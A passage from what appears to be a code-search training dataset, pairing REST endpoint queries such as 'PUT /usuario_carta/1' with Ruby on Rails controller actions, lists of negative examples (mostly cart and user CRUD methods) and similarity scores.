"def create\n params[:estacionamiento][:id_proveedor]=session['user']['id']\n @estacionamiento = Estacionamiento.new(estacionamiento_params)\n\n respond_to do |format|\n if @estacionamiento.save\n format.html { redirect_to @estacionamiento, notice: 'Estacionamiento was successfully created.' }\n format.json { render :show, status: :created, location: @estacionamiento }\n else\n format.html { render :new }\n format.json { render json: @estacionamiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cartucho = Cartucho.new(params[:cartucho])\n\n respond_to do |format|\n if @cartucho.save\n format.html { redirect_to @cartucho, notice: 'Cartucho was successfully created.' }\n format.json { render json: @cartucho, status: :created, location: @cartucho }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cartucho.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart_item = CartItem.new(cart_item_params)\n\n if @cart_item.save\n render json: @cart_item, status: :created, location: @cart_item\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def create\n @cartella_clinica = CartellaClinica.new(cartella_clinica_params)\n\n respond_to do |format|\n if @cartella_clinica.save\n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata creata correttamente.' }\n format.json { render :show, status: :created, location: @cartella_clinica }\n else\n format.html { render :new }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show_cart\n render json: User.find(params[:id]).cart_products\n end",
"def create\n @usuario = Usuario.new(usuario_params)\n\n if @usuario.save\n render json: @usuario, status: :created, location: @usuario\n else\n render json: @usuario.errors, status: :unprocessable_entity\n end\n end",
"def create_cart\n Cart.destroy_all\n render json: {'Success': 'New cart created!'}\n end",
"def create\n #@order = Order.new(params[:order])\n\n cart = session[:cart]\n\n @order.add_line_items_to_order_from_cart(cart)\n\n @order.user = current_user\n\n respond_to do |format|\n if @order.save\n #Send an email to admin\n UserMailer.order_created_to_admin(@order).deliver\n #empty cart\n session.delete(:cart)\n \n format.html { redirect_to :dashboard, notice: \"L'ordine è stato creato correttamente.\" }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_product\n @user = User.find_by(id: params['user'])\n products = params['products'].split(',')\n products.each do |product_id|\n @user.cart.products << Product.find_by(id: product_id)\n end \n render json: {data: @user.cart.products }\n end",
"def comprar_producto\n response = ApiB2b.comprarProducto(params[:sku], params[:cantidad])\n render json: response\n end",
"def create\n # @cart = Cart.new(cart_params)\n\n # respond_to do |format|\n # if @cart.save\n # format.html { redirect_to @cart, notice: \"Cart was successfully created.\" }\n # format.json { render :show, status: :created, location: @cart }\n # else\n # format.html { render :new, status: :unprocessable_entity }\n # format.json { render json: @cart.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def cart_params\n params.permit(:producto_id, :cantidad, :stock)\n end",
"def create\n @centro_usuario = CentroUsuario.new(centro_usuario_params)\n\n respond_to do |format|\n if @centro_usuario.save\n format.html { redirect_to @centro_usuario, notice: 'Centro usuario was successfully created.' }\n format.json { render :show, status: :created, location: @centro_usuario }\n else\n format.html { render :new }\n format.json { render json: @centro_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = current_user.carts.new(params[:cart])\n respond_to do |format|\n if @cart.save\n format.html { redirect_to(@cart, :notice => 'Cart was successfully created.') }\n format.xml { render :xml => @cart, :status => :created, :location => @cart }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cart.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_to_cart\n order = Cart.create(customer_id: @customer.id, hotel_id: params[:cart][:hotel_id], item_id: params[:cart][:item_id],\n item_quantity: params[:cart][:item_quantity], item_name: params[:cart][:item_name], item_price: params[:cart][:item_price], total_price: params[:cart][:total_price] )\n if order\n render json: {\n messages: \"Successfully added to cart!\",\n is_success: true,\n orders: order\n }, status: :created\n else\n render json: {\n messages: \"Unable to add\",\n is_success: false,\n orders: {}\n }, status: :internal_server_error\n end\n end",
"def create\r\n @reclamacao = Reclamacao.new(reclamacao_params)\r\n user = Usuario.get_usuario_logado\r\n @reclamacao.write_attribute(:usuario_id, user.id)\r\n respond_to do |format|\r\n if @reclamacao.save\r\n format.html { redirect_to root_path, notice: 'RECLAMAÇÃO EFETUADA COM SUCESSO' }\r\n format.json { render :show, status: :created, location: @reclamacao }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @reclamacao.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n render json: @usuario.productos\n else\n @productos = Producto.all\n render json: @productos\n end\n end",
"def create\n @receita = current_usuario.receitas.new(receita_params)\n\n respond_to do |format|\n if @receita.save\n format.html { redirect_to @receita, notice: 'Receita cadastrada com sucesso.' }\n format.json { render :show, status: :created, location: @receita }\n else\n format.html { render :new }\n format.json { render json: @receita.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @usuario_cartum = UsuarioCartum.find(params[:id])\n @usuario_cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to usuario_carta_url }\n format.json { head :no_content }\n end\n end",
"def create\n respond_to do |format|\n if @cart.create\n format.html { redirect_to @cart, notice: \"Cart was successfully created.\" }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: \"Cart was successfully created.\" }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if @cart_item = CartItem.find_by(cart_id: cart_item_params[:cart_id], product_id: cart_item_params[:product_id])\n @cart_item.quantity += cart_item_params[:quantity] || 1\n else\n @cart_item = CartItem.new(cart_item_params)\n end\n\n if @cart_item.save\n form = nil\n view_context.form_for(@cart_item.cart) { |f| form = f }\n\n render json: {\n html: render_to_string(\n \"_cart_items\",\n layout: false,\n locals: {\n cart_items: @cart_item.cart.cart_items,\n f: form\n }\n )\n }\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n #Use of logger class to log messages into the log file\n Logger.instance.log(Time.now.to_s + \": Cart created by user \\n\")\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, success: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @compra = current_user.orders.create(productos: session[:cart])\n session[:cart] = {}\n flash[:notice] = \"Su pedido fue exitoso, estara en la puerta de su casa en menos de 72 horas\"\n redirect_to '/products'\n end",
"def create\n if params[:propietario]\n @negocio_propio = Negocio.find(params[:negocio_id])\n @propietario = Usuario.find(params[:usuario_id])\n authorize! :update, @propietario\n if @propietario.negocios_propios << @negocio_propio\n render json: @propietario.negocios_propios, status: :created\n else\n render json: @propietario.negocios_propios.errors, status: :unprocessable_entity\n end\n else\n @negocio = Negocio.new(parametros_negocio)\n authorize! :create, Negocio\n if @negocio.save\n render json: @negocio, status: :created\n else\n render json: @negocio.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n @registro_insumos_reactivo = RegistroInsumosReactivo.new(registro_insumos_reactivo_params)\n\n respond_to do |format|\n # if @registro_insumos_reactivo.save\n # verificar_tipo_de_registro(@registro_insumos_reactivo)\n #verificar_datos_validos = verify_registro_insumo_reactivo\n #if verificar_datos_validos.empty?\n save_registro_insumo_reactivo\n Cart.destroy(session[:cart_id])\n session[:cart_id]= nil\n\n format.html { redirect_to registro_insumos_reactivos_index2_path, notice: 'Registro insumos o reactivo creado' }\n format.json { render :show, status: :created, location: @registro_insumos_reactivo }\n #else\n #format.html { render :new }\n #format.json { render json: verificar_datos_validos, status: :unprocessable_entity }\n #end\n\n end\n end",
"def create\n @shopping_cart_item = ShoppingCartItem.new(shopping_cart_item_params)\n @shopping_cart_item.user_id = current_user.id\n\n respond_to do |format|\n if @shopping_cart_item.save\n format.html { redirect_to @shopping_cart_item, notice: 'Shopping cart item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @shopping_cart_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @shopping_cart_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shopping_cart = ShoppingCart.new(params[:shopping_cart])\n\n respond_to do |format|\n if @shopping_cart.save\n format.html { redirect_to @shopping_cart, notice: 'Shopping cart was successfully created.' }\n format.json { render json: @shopping_cart, status: :created, location: @shopping_cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shopping_cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = ShoppingCart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: \"Cart was successfully created.\" }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n session[:cart] ||= Hash.new(0)\n session[:cart][params[:product_id]] += 1\n respond_to do |format|\n format.html do\n redirect_to products_path, notice: \"Product #{params[:product_id]} was added to your cart.\"\n end\n format.json do\n render json: {\n cart: session[:cart],\n item_count: session[:cart].values.sum\n }\n end\n end\n end",
"def producirPrimasSkuYCantidad\n sku = params[:id].to_s\n cantidad_lotes = params[:cantidad].to_i\n render json: ProducirMateriasPrimas.new.producirCantidad(sku, cantidad_lotes)\nend",
"def create\n @troca_produto = TrocaProduto.new(troca_produto_params)\n\n respond_to do |format|\n if @troca_produto.save\n format.html { redirect_to @troca_produto, notice: \"Troca produto was successfully created.\" }\n format.json { render :show, status: :created, location: @troca_produto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @troca_produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @in_shopping_cart = InShoppingCart.new(in_shopping_cart_params)\n\n if @in_shopping_cart.save\n render :show, status: :created, location: @in_shopping_cart\n else\n render json: @in_shopping_cart.errors, status: :unprocessable_entity\n end\n end",
"def create\n @quimicos_serigrafia_producto = QuimicosSerigrafiaProducto.new(quimicos_serigrafia_producto_params)\n\n respond_to do |format|\n if @quimicos_serigrafia_producto.save\n format.html { redirect_to @quimicos_serigrafia_producto, notice: 'Quimicos serigrafia producto was successfully created.' }\n format.json { render :show, status: :created, location: @quimicos_serigrafia_producto }\n else\n format.html { render :new }\n format.json { render json: @quimicos_serigrafia_producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @productos_por_cliente = ProductosPorCliente.new(productos_por_cliente_params)\n\n respond_to do |format|\n if @productos_por_cliente.save\n format.html { redirect_to @productos_por_cliente, notice: 'Productos por cliente was successfully created.' }\n format.json { render :show, status: :created, location: @productos_por_cliente }\n else\n format.html { render :new }\n format.json { render json: @productos_por_cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if (product = Product.find_by(id: params[:product])).nil?\n render json: { message: \"Invaild product_id\" }, status: :bad_request\n else\n cart = Cart.find_or_create_by(user: current_user)\n cart.products << product\n render json: { message: \"Item added to cart\" }\n end\n end",
"def create\n @item_kit = ItemKit.new(params[:item_kit])\n @item_kit.empresa = session[:usuario].empresa\n respond_to do |format|\n if @item_kit.save\n format.html { redirect_to @item_kit, notice: 'Item kit was successfully created.' }\n format.json { render json: @item_kit, status: :created, location: @item_kit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @retail_cart = Retail::Cart.new(retail_cart_params)\n\n respond_to do |format|\n if @retail_cart.save\n format.html { redirect_to @retail_cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @retail_cart }\n else\n format.html { render :new }\n format.json { render json: @retail_cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n retorno = {erro: \"107\", body: \" \"}\n @usuario = Usuario.new(valid_request?)\n @usuario.status = 1\n if @usuario.mac.blank? \n @usuario.nivel = \"usuario_adm\"\n @usuario.status = 0\n usuario = Usuario.select(:mac).where(\"nivel = 1\").last\n @usuario.mac = (usuario.mac.to_i + 1).to_s\n end\n\n if @usuario.valid?\n if @usuario.save\n retorno = {erro: \"000\", body: {usuario_id: @usuario.id, usuario_nome: @usuario.nome, status: true}}\n end\n end\n #verifica erros na inserção no banco\n if @usuario.errors.any?\n retorno = Usuario.verifica_erro(@usuario.errors.messages)\n end\n render json: retorno.to_json\n end",
"def show\n @usuario_cartum = UsuarioCartum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usuario_cartum }\n end\n end",
"def create\n @cart= Cart.find(params[:invoice]);\n @order = Order.new\n @order.OrderDate= Time.now\n @order.member_id=@cart.member_id\n @order.add_line_items_from_cart(@cart)\n respond_to do |format|\n if @order.save\n Cart.destroy(@cart.id)\n session[:cart] = nil\n format.html { redirect_to store_index_url notice: 'Gracias por su orden.' }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_cart\n cart = Cart.new(user: self)\n cart.save\n end",
"def create\n @compra = Compra.new(:usuario_id => session[:usuario][:id])\n \n # Adicion de items a compra\n session[:carrito].each do |c|\n @compra.compra_detalles << CompraDetalle.new(:producto_id => c.id, :cantidad => c.cantidad, :precio => c.precio)\n end\n\n respond_to do |format|\n if @compra.save\n flash[:notice] = 'Se realizo correctamente la compra.'\n format.html { redirect_to(@compra) }\n format.xml { render :xml => @compra, :status => :created, :location => @compra }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @compra.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to items_path, notice: 'Successfully added to cart' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mycart = Mycart.new(mycart_params)\n\n respond_to do |format|\n if @mycart.save\n format.html { redirect_to @mycart, notice: \"Mycart was successfully created.\" }\n format.json { render :show, status: :created, location: @mycart }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @mycart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @produto_pedido = ProdutoPedido.new(produto_pedido_params)\n @produto_pedido.valor_unitario = Produto.find_by(nome: params[:produto_pedido][:nome]).preco\n @produto_pedido.valor_total = @produto_pedido.valor_unitario * Integer(params[:produto_pedido][:quantidade])\n\n respond_to do |format|\n if @produto_pedido.save\n @pedido.quantidade_itens += @produto_pedido.quantidade\n @pedido.valor_pedido += @produto_pedido.valor_total\n @pedido.save\n format.html { redirect_to @pedido, notice: 'Produto pedido was successfully created.' }\n format.json { render :show, status: :created, location: @pedido }\n else\n format.html { render :new }\n format.json { render json: @produto_pedido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: I18n.t('carts.name') + I18n.t('messages.success') + I18n.t('messages.actions.create') }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @usuario_proyecto = UsuarioProyecto.new(usuario_proyecto_params)\n\n respond_to do |format|\n if @usuario_proyecto.save\n format.html { redirect_to @usuario_proyecto, notice: 'Usuario proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @usuario_proyecto }\n else\n format.html { render :new }\n format.json { render json: @usuario_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n puts request.body.string\n\n if request.body.string.include? %q[\"id\"]\n render json: %q[{\"error\": \"No se puede crear usuario con id\"}], status: 400\n else\n @usuario = Usuario.new(usuario_params)\n #Tuve que hacerlo asi, pq por alguna razon no me dejaba de la forma tradicional!\n #@usuario = Usuario.new\n #@usuario.usuario = params[:usuario]\n #@usuario.nombre = params[:nombre]\n #@usuario.apellido = params[:apellido]\n #@usuario.twitter = params[:twitter]\n\n\n respond_to do |format|\n if @usuario.save\n #format.html { redirect_to @usuario, notice: 'Usuario was successfully created.' }\n format.json { render :show, status: :created, location: @usuario }\n else\n #format.html { render :new }\n format.json { render json: @usuario.errors, status: 404}# status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @receitum = Receitum.new(receitum_params)\n @receitum.cliente_id = current_user.cliente_id\n respond_to do |format|\n if @receitum.save\n format.html { redirect_to new_receitum_path, flash: { success: 'Receita adicionada com sucesso' } }\n format.json { render :show, status: :created, location: @receitum }\n else\n format.html { render :new }\n format.json { render json: @receitum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_cartao\n @cartao = Cartao.find(params[:id])\n end",
"def create\n #current_cart.each do |item|\n # item['meal_id']\n # item['quantity']\n #end\n #curent_user\n #Order.order_meals.new(:meal_id, :quantity)\n #Order.user\n #Order.price cart_total_price\n #Order.Situation = 1 => pendente\n #Order.save\n \n #select_situation\n @order = Order.new\n\n @order.user = current_user\n @order.situation_id = Situation.first.id\n @order.price = params[:total_price].to_f\n @order.save\n current_cart.each do |item|\n @meal = Meal.find item['meal_id']\n OrderMeal.create(order: @order, meal: @meal, quantity: item['quantity'])\n end\n \n respond_to do |format|\n if @order.save\n #esvazia o carrinho\n session[:cart] = nil\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @orders_path }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order, @errors = Order.create_from_cart(@cart, order_params)\n\n if @order\n render json: @order, status: :created, location: @order\n else\n render json: @errors, status: :unprocessable_entity\n end\n end",
"def cart_params\n params.require(:cart).permit(:user_id)\n end",
"def cart_params\n params.require(:cart).permit(:user_id)\n end",
"def cart_params\n params.require(:cart).permit(:user_id)\n end",
"def create_orcamento\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to edit_produto_path(@produto), notice: '' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @correntista = Correntista.new(correntista_params)\n @correntista.users_id = current_user.id\n respond_to do |format|\n if @correntista.save\n format.html { redirect_to @correntista, notice: 'Correntista was successfully created.' }\n format.json { render :show, status: :created, location: @correntista }\n else\n format.html { render :new }\n format.json { render json: @correntista.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @producte_dapcons_usuari = ProducteDapconsUsuari.new(producte_dapcons_usuari_params)\n\n respond_to do |format|\n if @producte_dapcons_usuari.save\n format.html { redirect_to producte_dapcons_usuaris_path, notice: 'Producte dapcons usuari was successfully created.' }\n format.json { render :show, status: :created, location: @producte_dapcons_usuari }\n else\n format.html { render :new }\n format.json { render json: @producte_dapcons_usuari.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_params\n params.require(:cart_product).permit(:product_quantity, :product_id, :cart_id)\n end",
"def create\n\t\t@cart_item = CartItem.new(cart_item_params)\n\n\t\tif @cart_item.save\n\t\t render json: @cart_item, status: :created, location: @cart_item\n\t\telse\n\t\t render json: @cart_item.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def create\n @cart = Cart.new(cart_params)\n if @cart.save\n redirect_to @cart, notice: 'Корзина создана.'\n else\n render :new\n end\n end",
"def create\n cart_uuid = params[:cart_id]\n @item = Item.new(item_params.merge(cart_uuid: cart_uuid))\n if @item.save\n render json: @item, status: 201\n else\n render_errors 400, @item.errors.full_messages\n end\n end"
] | [
"0.67153966",
"0.6650674",
"0.6584135",
"0.64670837",
"0.64579016",
"0.6433194",
"0.63799113",
"0.63520277",
"0.63308144",
"0.6295982",
"0.6258594",
"0.62575",
"0.62538517",
"0.6228916",
"0.6225002",
"0.6214997",
"0.6214915",
"0.62089336",
"0.6197162",
"0.61641103",
"0.6131562",
"0.612737",
"0.6103062",
"0.6091854",
"0.6049574",
"0.60494846",
"0.6038349",
"0.6030173",
"0.5993935",
"0.5975113",
"0.5974342",
"0.59507793",
"0.5948263",
"0.59464186",
"0.59461653",
"0.594447",
"0.594447",
"0.594447",
"0.594447",
"0.594447",
"0.5940725",
"0.59404445",
"0.59398645",
"0.5937862",
"0.59281737",
"0.5926545",
"0.59251416",
"0.5923713",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5923096",
"0.5918705",
"0.5914805",
"0.5907042",
"0.5886526",
"0.58804935",
"0.5874267",
"0.5871853",
"0.5871728",
"0.58709705",
"0.5867354",
"0.58673424",
"0.5859113",
"0.58579457",
"0.5854705",
"0.58528495",
"0.5847779",
"0.5837134",
"0.58290327",
"0.5827712",
"0.5823594",
"0.58233225",
"0.5821383",
"0.5820677",
"0.5817976",
"0.58100456",
"0.5795668",
"0.5795151",
"0.57936907",
"0.57810605",
"0.57590187",
"0.57580626",
"0.57580626",
"0.57580626",
"0.57560796",
"0.57488114",
"0.5746677",
"0.5746435",
"0.574383",
"0.5739178",
"0.57389104"
] | 0.7366374 | 0 |
PUT /usuario_carta/1 PUT /usuario_carta/1.json | def update
@usuario_cartum = UsuarioCartum.find(params[:id])
respond_to do |format|
if @usuario_cartum.update_attributes(params[:usuario_cartum])
format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n respond_to do |format|\n if @catalogo_usuario.update(catalogo_usuario_params)\n format.html { redirect_to @catalogo_usuario, notice: 'Catalogo usuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @catalogo_usuario }\n else\n format.html { render :edit }\n format.json { render json: @catalogo_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cartella_clinica = CartellaClinica.find(params[:id])\n respond_to do |format|\n if @cartella_clinica.update(cartella_clinica_params)\n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata aggiornata con successo.' }\n format.json { render :show, status: :ok, location: @cartella_clinica }\n else\n format.html { render :edit }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @usuario_cartum = UsuarioCartum.new(params[:usuario_cartum])\n\n respond_to do |format|\n if @usuario_cartum.save\n format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully created.' }\n format.json { render json: @usuario_cartum, status: :created, location: @usuario_cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n\n respond_to do |format|\n if @caracteristica_cartum.update_attributes(params[:caracteristica_cartum])\n format.html { redirect_to @caracteristica_cartum, notice: 'Caracteristica cartum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caracteristica_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @centro_usuario.update(centro_usuario_params)\n format.html { redirect_to @centro_usuario, notice: 'Centro usuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @centro_usuario }\n else\n format.html { render :edit }\n format.json { render json: @centro_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
